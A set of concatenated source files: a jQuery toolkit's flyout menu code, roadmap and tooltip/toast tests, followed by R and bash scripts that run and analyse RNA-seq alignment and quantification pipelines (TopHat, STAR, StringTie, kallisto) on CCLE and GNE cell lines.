startTimer: function(key, delay, args) {
this.clearTimer(key);
var func;
if (key === 'show') {
func = this.position;
} else {
func = this.hide;
}
if (func) {
this.timers[key] = setTimeout(function() {
func.apply(this, args || []);
}.bind(this), delay);
}
},
/**
* Build a nested list menu using the data object.
*
* @private
* @param {jQuery} parent
* @param {Object} data
* @returns {jQuery}
*/
_buildMenu: function(parent, data) {
if (!data.children || !data.children.length) {
return null;
}
var options = this.options,
menu = $(options.template).attr('role', 'menu'),
groups = [],
ul,
li,
tag,
limit = options.itemLimit,
i, l;
if (options.className) {
menu.addClass(options.className);
}
if (parent.is('body')) {
menu.addClass('is-root');
} else {
menu.aria('expanded', false);
}
if (limit && data.children.length > limit) {
i = 0;
l = data.children.length;
while (i < l) {
groups.push(data.children.slice(i, i += limit));
}
} else {
groups.push(data.children);
}
for (var g = 0, group, child; group = groups[g]; g++) {
ul = $('<ul/>');
for (i = 0, l = group.length; i < l; i++) {
child = group[i];
// Build tag
if (child.url) {
li = $('<li/>');
tag = $('<a/>', {
text: child.title,
href: child.url,
role: 'menuitem'
});
// Add icon
$('<span/>').addClass(child.icon || 'caret-right').prependTo(tag);
} else {
li = $(options.headingTemplate);
tag = $('<span/>', {
text: child.title,
role: 'presentation'
});
}
if (child.attributes) {
tag.attr(child.attributes);
}
// Build list
if (child.className) {
li.addClass(child.className);
}
li.append(tag).appendTo(ul);
if (child.children && child.children.length) {
this._buildMenu(li, child);
li.addClass('has-children')
.aria('haspopup', true)
.on('mouseenter', this.onPositionChild.bind(this, li))
.on('mouseleave', this.onHideChild.bind(this, li));
}
}
menu.append(ul);
}
menu.appendTo(parent).conceal();
// Only monitor top level menu
if (options.mode !== 'click' && parent.is('body')) {
menu.on({
mouseenter: function() {
this.clearTimer('hide');
}.bind(this),
mouseleave: function() {
this.startTimer('hide', options.hideDelay);
}.bind(this)
});
}
return menu;
},
/**
* Get the menu if it exists, else build it and set events.
*
* @private
* @returns {jQuery}
*/
_getMenu: function() {
var target = this._getTarget();
this.current = target;
if (this.menus[target]) {
return this.menus[target];
}
if (this.dataMap[target]) {
var menu = this._buildMenu($('body'), this.dataMap[target]);
if (!menu) {
return null;
}
return this.menus[target] = menu;
}
return null;
},
/**
* Get the target URL to determine which menu to show.
*
* @private
* @param {jQuery} [node]
* @returns {String}
*/
_getTarget: function(node) {
node = $(node || this.node);
return this.readValue(node, this.options.getUrl) || node.attr('href');
},
/**
* Event handle when a mouse enters a node. Will show the menu after the timer.
*
* @private
*/
onEnter: function() {
this.clearTimer('hide');
this.startTimer('show', this.options.showDelay);
},
/**
* Event handler to hide the child menu after exiting parent li.
*
* @private
* @param {jQuery} parent
*/
onHideChild: function(parent) {
parent = $(parent);
parent.removeClass('is-open');
parent.children(this.ns('menu'))
.removeAttr('style')
.aria({
expanded: false,
hidden: false
})
.conceal();
this.fireEvent('hideChild', [parent]);
},
/**
* Event handle when a mouse leaves a node. Will hide the menu after the timer.
*
* @private
*/
onLeave: function() {
this.clearTimer('show');
this.startTimer('hide', this.options.showDelay);
},
/**
* Event handler to position the child menu dependent on the position in the page.
*
* @private
* @param {jQuery} parent
*/
onPositionChild: function(parent) {
var menu = parent.children(this.ns('menu'));
if (!menu) {
return;
}
menu.aria({
expanded: true,
hidden: true
});
// Alter width because of columns
var children = menu.children();
menu.css('width', (children.outerWidth() * children.length) + 'px');
// Get sizes after menu positioning
var win = $(window),
winHeight = win.height() + win.scrollTop(),
winWidth = win.width(),
parentTop = parent.offset().top,
parentHeight = parent.outerHeight(),
parentRight = parent.offset().left + parent.outerWidth();
// Display menu horizontally on opposite side if it spills out of viewport
var hWidth = parentRight + menu.outerWidth();
if (hWidth >= winWidth) {
menu.addClass('push-left');
} else {
menu.removeClass('push-left');
}
// Reverse menu vertically if below half way fold
if (parentTop > (winHeight / 2)) {
menu.css('top', '-' + (menu.outerHeight() - parentHeight) + 'px');
} else {
menu.css('top', 0);
}
parent.addClass('is-open');
menu.reveal();
this.fireEvent('showChild', [parent]);
},
/**
* Event handler to show the menu.
*
* @param {jQuery.Event} e
* @private
*/
onShowToggle: function(e) {
// Flyouts shouldn't be usable on touch devices
if (Toolkit.isTouch) {
return;
}
// Set the current element
this.isVisible();
// Trigger the parent
Toolkit.Component.prototype.onShowToggle.call(this, e);
}
}, {
mode: 'hover',
getUrl: 'href',
xOffset: 0,
yOffset: 0,
showDelay: 350,
hideDelay: 1000,
itemLimit: 15,
template: '<div class="' + vendor + 'flyout" data-flyout-menu></div>',
headingTemplate: '<li class="' + vendor + 'flyout-heading"></li>'
});
Toolkit.create('flyout', function(url, options) {
return new Toolkit.Flyout(this, url, options);
}, true);
return Toolkit;
});<file_sep># Toolkit Roadmap #
All releases will contain bug fixing and polishing for current features.
### 2.1 ###
* RTL support.
* Flex - A grid component that uses flex box instead of floats.
### 3.x ###
* Remove jQuery dependency and go straight vanilla?
* Switch to Less (removes sass/compass/ruby dependencies).
* Implement custom elements / components - http://w3c.github.io/webcomponents/explainer/
* Separate component transitions into a stand alone layer that can be used anywhere.
* Use `calc()` in CSS.
### Components ###
* Dialog - A component that prompts the user for an action. Sister to the modal component.
* Guide - A component that displays introduction guides (popovers) in a sequential order. Useful for show casing new features and functionality.
* Drag & Drop - Provides a drag and drop system.
### Behaviors ###
* Form Validator - Provides form validation.
* Data Binding - Provides 2 way data binding.
### Misc ###
* Take Google fundamentals into consideration - https://developers.google.com/web/fundamentals/<file_sep>define([
'jquery',
'../../js/components/tooltip'
], function($) {
describe('Toolkit.Tooltip', function() {
var element,
tooltip;
before(function() {
element = $('<a/>')
.addClass('js-tooltip')
.attr('title', 'Title')
.attr('data-tooltip', 'Content')
.attr('data-tooltip-classname', 'foobar')
.text('Foobar')
.appendTo('body');
tooltip = $('.js-tooltip').tooltip().toolkit('tooltip');
});
after(function() {
element.remove();
});
describe('constructor()', function() {
it('should create the tooltip markup', function() {
expect($('body').find('> .tooltip').length).to.equal(1);
expect(tooltip.element.attr('id')).to.equal('toolkit-tooltip-1');
});
it('should set ARIA attributes', function() {
expect(tooltip.element.attr('role')).to.equal('tooltip');
});
it('should convert the title attribute on nodes', function() {
expect(element.attr('title')).to.be.undefined;
expect(element.data('tooltip-title')).to.equal('Title');
});
});
describe('hide()', function() {
it('should hide the tooltip', function(done) {
tooltip.show(element);
setTimeout(function() {
expect(tooltip.element.hasClass('show')).to.be.true;
tooltip.hide();
expect(tooltip.element.hasClass('show')).to.be.false;
done();
}, 10);
});
it('should reset runtime options', function(done) {
tooltip.show(element);
setTimeout(function() {
expect(tooltip.element.hasClass('foobar')).to.be.true;
tooltip.hide();
expect(tooltip.element.hasClass('foobar')).to.be.false;
done();
}, 10);
});
it('should remove ARIA attributes from the node', function(done) {
tooltip.show(element);
setTimeout(function() {
expect(element.attr('aria-describedby')).to.equal('toolkit-tooltip-1');
tooltip.hide();
expect(element.attr('aria-describedby')).to.be.undefined;
done();
}, 10);
});
});
describe('show()', function() {
it('should show the tooltip', function(done) {
tooltip.show(element);
setTimeout(function() {
expect(tooltip.element.hasClass('show')).to.be.true;
done();
}, 15);
});
it('should inherit the title and content from attributes', function(done) {
tooltip.show(element);
setTimeout(function() {
expect(tooltip.elementHead.html()).to.equal('Title');
expect(tooltip.elementBody.html()).to.equal('Content');
done();
}, 10);
});
it('should allow custom content', function(done) {
tooltip.show(element, 'Foo');
setTimeout(function() {
expect(tooltip.elementBody.html()).to.equal('Foo');
done();
}, 10);
});
it('should set the `position` and `className` runtime classes', function(done) {
tooltip.show(element);
setTimeout(function() {
expect(tooltip.element.hasClass('top-center')).to.be.true;
expect(tooltip.element.hasClass('foobar')).to.be.true;
done();
}, 10);
});
it('should set ARIA attributes on the node', function() {
tooltip.show(element);
expect(element.attr('aria-describedby')).to.equal('toolkit-tooltip-1');
});
});
describe('destroy()', function() {
before(function() {
tooltip.destroy();
});
it('should remove the element', function() {
expect($('body').find('> .tooltip').length).to.equal(0);
});
});
});
});<file_sep>define([
'jquery',
'../../js/components/toast'
], function($) {
describe('Toolkit.Toast', function() {
var element,
toast;
before(function() {
toast = $('body').toast({
duration: 1000
}).toolkit('toast');
toast.addHook('create', function(toast) {
element = toast;
});
});
describe('constructor()', function() {
it('should create the toasts container', function() {
expect($('body').find('> .toasts').length).to.equal(1);
});
it('should set the position as a class name', function() {
expect(toast.element.hasClass('bottom-left')).to.be.true;
});
it('should set ARIA attributes', function() {
expect(toast.element.attr('role')).to.equal('log');
expect(toast.element.aria('relevant')).to.equal('additions');
});
});
describe('create()', function() {
it('should create a toast within the container', function() {
toast.create('Foo');
expect(element.hasClass('toast')).to.be.true;
expect(element.text()).to.equal('Foo');
expect($.contains(toast.element[0], element[0])).to.be.true;
});
it('should set the animation class name', function() {
toast.create('Bar');
expect(element.hasClass('slide-up')).to.be.true;
});
it('should set ARIA attributes', function() {
toast.create('Baz');
expect(element.attr('role')).to.equal('note');
});
it('should allow custom options to be set', function() {
toast.create('Foo', {
animation: 'slide-left',
toastTemplate: '<section class="toast"></section>'
});
expect(element.prop('tagName').toLowerCase()).to.equal('section');
expect(element.hasClass('slide-left')).to.be.true;
});
it('should allow HTML to be set', function() {
toast.create('<b>Bar</b>');
expect(element.html()).to.equal('<b>Bar</b>');
});
it('should allow DOM nodes to be set', function() {
toast.create($('<i/>').html('Baz'));
expect(element.html()).to.equal('<i>Baz</i>');
});
});
describe('hide()', function() {
it('should remove the toast after the duration', function(done) {
toast.create('Foo');
expect($.contains(toast.element[0], element[0])).to.be.true;
setTimeout(function() {
expect($.contains(toast.element[0], element[0])).to.be.false;
done();
}, 1100);
});
});
describe('show()', function() {
it('should show the toast after a small delay', function(done) {
toast.create('Foo');
expect(element.hasClass('hide')).to.be.true;
setTimeout(function() {
expect(element.hasClass('hide')).to.be.false;
done();
}, 100);
});
});
describe('destroy()', function() {
before(function() {
toast.destroy();
});
it('should remove the toasts container', function() {
expect($('body').find('> .toasts').length).to.equal(0);
});
});
});
}); | f5724ad54441145841817e852e80f2e475c2e11d | [
"Markdown",
"JavaScript",
"HTML"
] | 12 | Markdown | netzzwerg/toolkit | 40e2626b7fdc8cc337a39c00d2d045fc061cb8e4 | e05c1b8f79c779dfdd1dad7ff7d153006daba2b0 |
refs/heads/master | <repo_name>vinayalaw/Mr.-ChickenDinner<file_sep>/README.txt
Use a config.json file to store and access private bot data
User must include a "token", "prefix", and "name"<file_sep>/mcd.js
/******************************************************************************/
// AUTHOR : <NAME>
// FILENAME : mcd.js
// DESCRIPTION : main file of Mr. ChickenDinner discord bot
/******************************************************************************/
//requires
const Discord = require("discord.js");
const { prefix, token } = require('./config.json');
const client = new Discord.Client();
client.once('ready', () =>{
console.log('I am ready!');
});
client.on('message', message => {
//exit if no prefix or bot message
if (!message.content.startsWith(prefix) || message.author.bot) return;
//cut prefix from message and split arguments into array by spaces
const args = message.content.slice(prefix.length).split(/ +/);
//remove first arg
const command = args.shift().toLowerCase();
if(!args.length){
return message.channel.send(`No Arguments, ${message.author}?`)
}
});
client.login(token);
/******************************************************************************/
| 7f8dacfa5e0c4944e56efa7514c35e8edfd516b8 | [
"JavaScript",
"Text"
] | 2 | Text | vinayalaw/Mr.-ChickenDinner | 672775e9400fe00f620df4b6adf860b25be9c2b3 | d7eb1e9afbf50ddd6c16310795b17f81fbcf71de |
refs/heads/master | <file_sep>calculateGCcontent <- function(dna) {
total <- nchar(dna)
noGC <- nchar(gsub("G|C", "", dna))
return((total - noGC) / total)
}
library(RCurl)
getAllGCs <- function(annotation) {
values <- as.character(annotation$diff.est_id)
gcs <- pbapply::pbsapply(values, function (x) {
sequence <- getURL(paste0("http://rest.ensembl.org/sequence/id/", x, "?content-type=text/plain"))
return(calculateGCcontent(sequence))
})
return(gcs)
}<file_sep>load("corMatricies_aug28.RData")
methodNames <- c("tophat-cufflinks/star-cufflinks", "tophat-cufflinks/kallisto", "star-cufflinks/kallisto", "tophat-cufflinks/tophat-stringtie", "star-cufflinks/star-stringtie", "tophat-stringtie/star-stringtie", "tophat-stringtie/kallisto", "star-stringtie/kallisto")
studyMethodNames <- c("tophat-cufflinks", "star-cufflinks", "kallisto", "tophat-stringtie", "star-stringtie")
## Take transpose of matrix so correlation is by the method
studyCorMatrixSpearman <- t(studyCorMatrixSpearman)
studyCorMatrixPearson <- t(studyCorMatrixPearson)
gneCorMatrixSpearman <- t(gneCorMatrixSpearman)
gneCorMatrixPearson <- t(gneCorMatrixPearson)
ccleCorMatrixSpearman <- t(ccleCorMatrixSpearman)
ccleCorMatrixPearson <- t(ccleCorMatrixPearson)
## Take complete cases
studyCorMatrixSpearman <- studyCorMatrixSpearman[complete.cases(studyCorMatrixSpearman),]
studyCorMatrixPearson <- studyCorMatrixPearson[complete.cases(studyCorMatrixPearson),]
gneCorMatrixSpearman <- gneCorMatrixSpearman[complete.cases(gneCorMatrixSpearman),]
gneCorMatrixPearson <- gneCorMatrixPearson[complete.cases(gneCorMatrixPearson),]
ccleCorMatrixSpearman <- ccleCorMatrixSpearman[complete.cases(ccleCorMatrixSpearman),]
ccleCorMatrixPearson <- ccleCorMatrixPearson[complete.cases(ccleCorMatrixPearson),]
## Make boxplots
pdf("correlation_plots.pdf", onefile = TRUE, width = 25, height = 20)
boxplot(studyCorMatrixSpearman, names = studyMethodNames, xlab = "Method", ylab = "Spearman Correlation", main = paste("Reproducibility between CCLE and GNE on", nrow(studyCorMatrixSpearman), "cell lines"), ylim = c(0,1))
boxplot(studyCorMatrixPearson, names = studyMethodNames, xlab = "Method", ylab = "Pearson Correlation", main = paste("Reproducibility between CCLE and GNE on", nrow(studyCorMatrixPearson), "cell lines"), ylim= c(0,1))
boxplot(ccleCorMatrixSpearman, names = methodNames, xlab = "Method", ylab = "Spearman Correlation", main = paste("Reproducibility between methods on", nrow(ccleCorMatrixSpearman), "CCLE cell lines"), ylim = c(0,1))
boxplot(ccleCorMatrixPearson, names = methodNames, xlab = "Method", ylab = "Pearson Correlation", main = paste("Reproducibility between methods on", nrow(ccleCorMatrixPearson), "CCLE cell lines"), ylim = c(0,1))
boxplot(gneCorMatrixSpearman, names = methodNames, xlab = "Method", ylab = "Spearman Correlation", main = paste("Reproducibility between methods on", nrow(gneCorMatrixSpearman), "GNE cell lines"), ylim = c(0,1))
boxplot(gneCorMatrixPearson, names = methodNames, xlab = "Method", ylab = "Pearson Correlation", main = paste("Reproducibility between methods on", nrow(gneCorMatrixPearson), "GNE cell lines"), ylim=c(0,1))
dev.off()
<file_sep>#!/bin/bash
#$ -S /bin/bash
#$ -N stringtie_from_star_output_generic
#$ -o /mnt/work1/users/home2/bhcoop4/run/logs
#$ -e /mnt/work1/users/home2/bhcoop4/run/logs
module load igenome-human/GRCh37
module load stringtie
## Usage
## CCLE: $1: study, $2 name of cell line, $3 fastq1, $4 fastq2
## GNE: $1: study, $2 name of cell line, $3 inputdir_1 $4 inputdir_2
## Navigate to file
#cd /mnt/work1/users/bhklab/users/adrian/star_runs
#cd $2
#cd $1
cd $1
echo "Running stringtie"
samtools view -h Aligned.out.sorted.bam | perl -ne 'if(/HI:i:(\d+)/) { $m=$1-1; $_ =~ s/HI:i:(\d+)/HI:i:$m/} print $_;'> Aligned.out.sorted.stringtie.bam
stringtie Aligned.out.sorted.stringtie.bam -v -o stringtie_output.gtf -p 8 -G $GTF
<file_sep>#! /bin/bash
module load R
cd /mnt/work1/users/bhklab/users/adrian/tophat_runs
mkdir /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_ccle
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_ccle/$d
dir="/mnt/work1/users/bhklab/users/adrian/tophat_runs/$d"
dirName="CCLE/isoforms.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_ccle/$d
done
mkdir /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_gne
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_gne/$d
dir="/mnt/work1/users/bhklab/users/adrian/tophat_runs/$d"
dirName="GNE/isoforms.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_gne/$d
done
cd /mnt/work1/users/bhklab/users/adrian/star_runs
mkdir /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_ccle
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_ccle/$d
dir="/mnt/work1/users/bhklab/users/adrian/star_runs/$d"
dirName="CCLE/isoforms.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_ccle/$d
done
mkdir /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_gne
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_gne/$d
dir="/mnt/work1/users/bhklab/users/adrian/star_runs/$d"
dirName="GNE/isoforms.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_gne/$d
done
cd ..
Rscript /mnt/work1/users/bhklab/users/adrian/isoformsFPKM.R /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_ccle /mnt/work1/users/bhklab/users/adrian/res/tophat_isoforms_res_ccle.csv
Rscript /mnt/work1/users/bhklab/users/adrian/isoformsFPKM.R /mnt/work1/users/bhklab/users/adrian/isoforms.fpkm_tracking_gne /mnt/work1/users/bhklab/users/adrian/res/tophat_isoforms_res_gne.csv
Rscript /mnt/work1/users/bhklab/users/adrian/isoformsFPKM.R /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_ccle /mnt/work1/users/bhklab/users/adrian/res/star_isoforms_res_ccle.csv
Rscript /mnt/work1/users/bhklab/users/adrian/isoformsFPKM.R /mnt/work1/users/bhklab/users/adrian/star.isoforms.fpkm_tracking_gne /mnt/work1/users/bhklab/users/adrian/res/star_isoforms_res_gne.csv
rm -rf isoforms.fpkm_tracking_ccle
rm -rf isoforms.fpkm_tracking_gne
rm -rf star.isoforms.fpkm_tracking_ccle
rm -rf star.isoforms.fpkm_tracking_gne
<file_sep>
## read curation files
options(stringsAsFactors = FALSE)
cells <- read.csv("cell_annotation_all.csv", na.strings = "")
ccle <- read.csv("ccle_rnaseq_metadata.csv")
gne <- read.csv("gne_rnaseq_metadata.csv")
print(str(cells))
## Obtain cell line names in each curation
ccleNames <- ccle$cells
gneNames <- gne$Cell_line
## Temporary row w/o bad chars and common cases for easy matching
cells[,"unique.id.clean"] <- sapply(cells$unique.cellid, function (x) toupper(gsub("[^a-zA-Z0-9]", "", x)))
cells[,"gne.id.clean"] <- sapply(cells$GNE.cellid, function (x) toupper(gsub("[^a-zA-Z0-9]", "", x)))
cells[,"ccle.id.clean"] <- sapply(cells$CCLE.cellid, function (x) toupper(gsub("[^a-zA-Z0-9]", "", x)))
## For each name in ccleNames, gneNames, obtain row
message("Processing CCLE")
for (i in 1:length(ccleNames)) {
## Get name of cell line and clean name
name <- ccleNames[i]
cleanName <- toupper(gsub("[^a-zA-Z0-9]", "", name))
row <- cells[which(cells$ccle.id.clean == cleanName),] ## Compare clean names
if (nrow(row) != 0 ){
cells[which(cells$ccle.id.clean == cleanName), "ccle.rna_seq_name"] <- name ## Assign to row
}
## Else look at unique id and do the same
else {
altRow <- cells[which(cells$unique.id.clean == cleanName),]
if (nrow(altRow) == 0) {
print(paste(name, "not found- creating new row"))
cells[nrow(cells) + 1, "ccle.rna_seq_name"] <- name
}
cells[which(cells$unique.id.clean == cleanName), "ccle.rna_seq_name"] <- name
}
}
## For each name in ccleNames, gneNames, obtain row
message("Processing GNE")
for (i in 1:length(gneNames)) {
## Get name of cell line and clean name
name <- gneNames[i]
cleanName <- toupper(gsub("[^a-zA-Z0-9]", "", name))
row <- cells[which(cells$gne.id.clean == cleanName),] ## Compare clean names
if (nrow(row) != 0 ){
cells[which(cells$gne.id.clean == cleanName), "gne.rna_seq_name"] <- name ## Assign to row
}
## Else look at unique id and do the same
else {
altRow <- cells[which(cells$unique.id.clean == cleanName),]
if (nrow(altRow) == 0) {
print(paste(name, "not found- creating new row"))
cells[nrow(cells) + 1, "gne.rna_seq_name"] <- name
}
cells[which(cells$unique.id.clean == cleanName), "gne.rna_seq_name"] <- name
}
}
## Remove temporary rows
temp <- c("unique.id.clean", "ccle.id.clean", "gne.id.clean")
cells <- cells[,!(names(cells) %in% temp)]
write.csv(cells, file = "cell_annotation_all_rnaseq.csv")
## Find common ids
common <- cells[!(is.na(cells$ccle.rna_seq_name) | is.na(cells$gne.rna_seq_name)),]
write.csv(common, file = "CCLE_GNE_common_profiles.csv")
<file_sep>#!/bin/bash
#$ -S /bin/bash
#$ -N generic_kallisto
#$ -o /mnt/work1/users/home2/bhcoop4/run/logs
#$ -e /mnt/work1/users/home2/bhcoop4/run/logs
module load kallisto
## Command line arguments: $1 study, $2 cell line name $3 location of fastqs
cd /mnt/work1/users/bhklab/users/adrian/kallisto_runs
mkdir $2
cd $2
mkdir $1
cd $1
kallisto quant -i /mnt/work1/users/bhklab/users/adrian/kallisto_index.idx -o . $3 $4<file_sep>## Parse output for stringtie
library(data.table)
library(pbapply)
parseStringtieFile <- function(file) {
lines <- read.delim(file, header = FALSE, skip = 2, colClasses=c(rep("character", 3), rep("integer", 3), rep("character", 3)), nrows=1200000)
## Get lines with an FPKM value and a reference annotation
info <- as.character(lines[,9])
lines <- lines[grep("FPKM", info),]
annotatedLines <- lines[grep("reference_id", as.character(lines[,9])),]
## Get tokens from ; info
tokens <- strsplit(as.character(annotatedLines[, 9]), ";")
transcript_id <- sapply(tokens, function (x) gsub(" reference_id ", "", x[3]))
FPKM <- sapply(tokens, function (x) as.numeric(gsub(" FPKM ", "", x[7])))
names(FPKM) <- transcript_id
return(FPKM)
}
isComplete <- function(x) {
length(readLines(x, 3)) > 2
}
##
args <- commandArgs()
print(args)
path <- args[1] ## hack to make this work properly
align <- args[2]
files <- list.files(path, full.names = TRUE)
files_ccle <- sapply(files, function (x) paste0(x, "/CCLE/stringtie_output.gtf"))
#files_gne <- sapply(files, function (x) paste0(x, "/GNE/stringtie_output.gtf"))
files_ccle_comp <- Filter(file.exists, files_ccle)
files_ccle_comp <- Filter(isComplete, files_ccle_comp)
print(paste("Problematic dirs or no StringTie output: ", setdiff(files_ccle, files_ccle_comp)))
print(paste(length(files_ccle_comp), "CCLE files to process"))
#files_gne_comp <- Filter(file.exists, files_gne)
#files_gne_comp <- Filter(isComplete, files_gne_comp)
#print(paste("Problematic dirs or no StringTie output: ", setdiff(files_gne, files_gne_comp)))
#print(paste(length(files_gne_comp), "GNE files to process"))
message("Parsing CCLE output files")
parsedLines_ccle <- pblapply(files_ccle_comp, parseStringtieFile)
names(parsedLines_ccle) <- files_ccle_comp
#message("Parsing GNE output files")
#parsedLines_gne <- pblapply(files_gne_comp, parseStringtieFile)
#names(parsedLines_gne) <- files_gne_comp
save(parsedLines_ccle, file = paste0(align, "_ccle_stringtie_res.RData"))
<file_sep>#!/bin/bash
#$ -S /bin/bash
#$ -N tophat_stringtie_cufflinks_generic
#$ -o /mnt/work1/users/home2/bhcoop4/run/logs
#$ -e /mnt/work1/users/home2/bhcoop4/run/logs
module load igenome-human/GRCh37
module load tophat2
module load bowtie
module load stringtie
module load cufflinks
## Usage:
## generic_tophat_stringtie
## $1: CCLE $2: name of cell line $3 name of fastq $4 name offastq $5 name of bam
## $1: GNE $2: name of cell line $3 name of fastq $4 name of fastq
cd /mnt/work1/users/bhklab/users/adrian/tophat_runs
mkdir $2
cd $2
mkdir $1
cd $1
if (! [ -a accepted_hits.bam ]) && [ "$1" == "CCLE" ]; then
echo "Running picard"
module load picard
java -Xmx16g -jar $picard_dir/SamToFastq.jar I=$5 F=$3 F2=$4
fi
if ! [ -a accepted_hits.bam ]; then
echo "Running tophat"
tophat2 --library-type fr-firststrand --no-coverage-search --keep-fasta-order -p 8 -G $GTF -o . $BOWTIE2INDEX $3 $4
fi
echo "Running cufflinks"
cufflinks --no-update-check -N -p 8 -G $GTF -o . accepted_hits.bam
mkdir ./stringtie_output
echo "Running stringtie"
stringtie accepted_hits.bam -v -o ./stringtie_output -p 8 -G $GTF
<file_sep>#!/bin/bash
#$ -S /bin/bash
#$ -N calibrate_genome
STAR --runMode genomeGenerate --runThreadN 12 --genomeDir /mnt/work1/users/bhklab/users/adrian/GRCh37_STAR_v12 --genomeFastaFiles $REF --sjdbGTFfile /$GTF --sjdbOverhang 75
<file_sep>library(sqldf)
## Read in curation CSVS
if (!file.exists("params.RData")) {
common <- read.csv("CCLE_GNE_common_profiles.csv", stringsAsFactors = F)
ccle <- read.csv("ccle_rnaseq_metadata.csv",stringsAsFactors = F)
gne <- read.csv("gne_rnaseq_metadata.csv",stringsAsFactors = F)
## Extract needed info for job submission
colnames(common) <- gsub("\\.", "_", colnames(common)) ## Use this to fix sql syntax
common_info <- sqldf("SELECT unique_cellid, ccle_rna_seq_name, gne_rna_seq_name, cells, ccle.dir, analysis_id, file_name, Cell_line, alias FROM common INNER JOIN ccle ON common.ccle_rna_seq_name = ccle.cells INNER JOIN gne ON common.gne_rna_seq_name = gne.Cell_line")
common_info <- common_info[!duplicated(common_info$unique_cellid),]## remove duplicated profiles s.t. only 460 cell lines remain
## Get parameters
data.dir <- "/mnt/work1/users/bhklab/Data/CCLE/rna_seq"
dir <- "/mnt/work1/users/bhklab/users/adrian/tophat_runs/"
CCLE_params <- data.frame(
"study" = "CCLE", "cell" = common_info$unique_cellid, "fastq1" =paste0(dir, common_info$unique_cellid, "/CCLE/", "CCLE-", common_info$unique_cellid, ".1.fastq"),
"fastq2" = paste0(dir, common_info$unique_cellid, "/CCLE/", "CCLE-",common_info$unique_cellid, ".2.fastq"),
"dir" = paste0(data.dir, "/", common_info$dir, "/", common_info$analysis_id, "/", common_info$file_name)
, stringsAsFactors = F)
data.dir <- "/mnt/work1/users/bhklab/Data/GNE/rna-seq/EGAD00001000725"
GNE_params <- data.frame(
"study" = "GNE", "cell" = common_info$unique_cellid, "fastq1" = paste0(data.dir, "/", common_info$alias, "_1_1.rnaseq.fastq.gz"),
"fastq2" = paste0(data.dir, "/", common_info$alias, "_1_2.rnaseq.fastq.gz"), stringsAsFactors = F)
save("CCLE_params", "GNE_params", file = "params.RData")
}
load("params.RData")
fileConn <- file(paste0("jobs", date()))
file_contents <- c("#!/bin/bash")
constructJob <- function(index, study, aligner) {
params <- switch(study, "CCLE" = CCLE_params[index,], "GNE" = GNE_params[index,])
jobs <- switch(aligner, "tophat" = constructTophatjob(study, params), "star" = constructStarjob(study, params), "kallisto" = constructKallistoJob(study, params))
file_contents <- c(file_contents, jobs)
return(file_contents)
}
constructTophatjob <- function(study, params) {
job <- "qsub -q bhklab generic_tophat.sh"
jobs <- sapply(1:nrow(params), function (x) paste(job, paste(params[x,], collapse = " ")))
}
constructStarjob <- function(study, params) {
job <- "qsub -q bhklab generic_star.sh"
jobs <- sapply(1:nrow(params), function (x) paste(job, paste(params[x,1:4], collapse = " ")))
}
constructKallistoJob <- function(study, params) {
job <- "qsub -q bhklab generic_kallisto.sh"
jobs <- sapply(1:nrow(params), function (x) paste(job, paste(params[x,1:4], collapse = " ")))
}
## Construct jobs here
#sample <- sample(60, 20)
file_contents <- constructJob(52, "CCLE", "tophat")
file_contents <- constructJob(52, "GNE", "tophat")
file_contents <- constructJob(52, "CCLE", "star")
file_contents <- constructJob(52, "GNE", "star")
file_contents <- constructJob(1:60, "CCLE", "kallisto")
file_contents <- constructJob(1:60, "GNE", "kallisto")
file_contents <- constructJob(134, "CCLE", "kallisto")
file_contents <- constructJob(134, "GNE", "kallisto")
file_contents <- constructJob(1, "GNE", "kallisto")
writeLines(file_contents, fileConn)
close(fileConn)
<file_sep>RNA Sequencing Reproducibility Analysis Project for BHK lab
Various snippets of code written for project including:
- Code to curation RNA-seq data
- Code to run RNA--seq pipelines
- Code to analyze measured transcript expression levels from RNA-seq<file_sep>## Script to Parse Memory Log Files in R
## Convert a string of the form "%H:%M:%S" into seconds
convertToSeconds <- function(time) {
tokens <- strsplit(time, ":")
tokens <- unlist(tokens)
tokens <- as.numeric(tokens)
return(tokens[1] * 3600 + tokens[2] * 60 + tokens[3])
}
## Convert a string of the form "..G" or "..M" into a numeric
## number of gigabytes
convertToGB <- function(x) {
if (length(grep("G", x)) == 1) {
x <- gsub("G", "", x)
return(as.numeric(x))
}
else {
x <- gsub("M", "", x)
return(as.numeric(x) / 1024)
}
}
## Parses log file with memory information
getFrame <- function(filename) {
readFrame <- read.table(filename, col.names = c("usage", "num", "cpu", "mem", "unit", "io", "vmem", "maxvmem"), stringsAsFactors = FALSE)
impVals <- readFrame[,c(-1,-2,-5)]
## Remove commas
impVals <- data.frame(apply(impVals, 2, gsub, pattern=",", replacement=""))
## Parse CPU column
impVals$cpu <- gsub("cpu=", "", impVals$cpu)
impVals$cpu <- sapply(impVals$cpu, convertToSeconds)
## Parse mem and io columns
impVals$mem <- as.numeric(gsub("mem=", "", impVals$mem))
impVals$io <- as.numeric(gsub("io=", "", impVals$io))
## Parse vmem and maxvmem columns
impVals$vmem <- gsub("vmem=", "", impVals$vmem)
impVals$maxvmem <-gsub("maxvmem=", "", impVals$maxvmem)
impVals$vmem <- sapply(impVals$vmem, convertToGB)
impVals$maxvmem <- sapply(impVals$maxvmem, convertToGB)
return(impVals)
}
getMemoryPlot <- function(df) {
lim <- max(df[,5], na.rm = TRUE)
plot(df[,1], df[,5], col = "blue", xlab = "CPU Time (s)", ylab = "Memory Used (GB)", main = "Memory Used During StringTie Pipeline", type = "l", ylim = c(0, lim))
par(new = T)
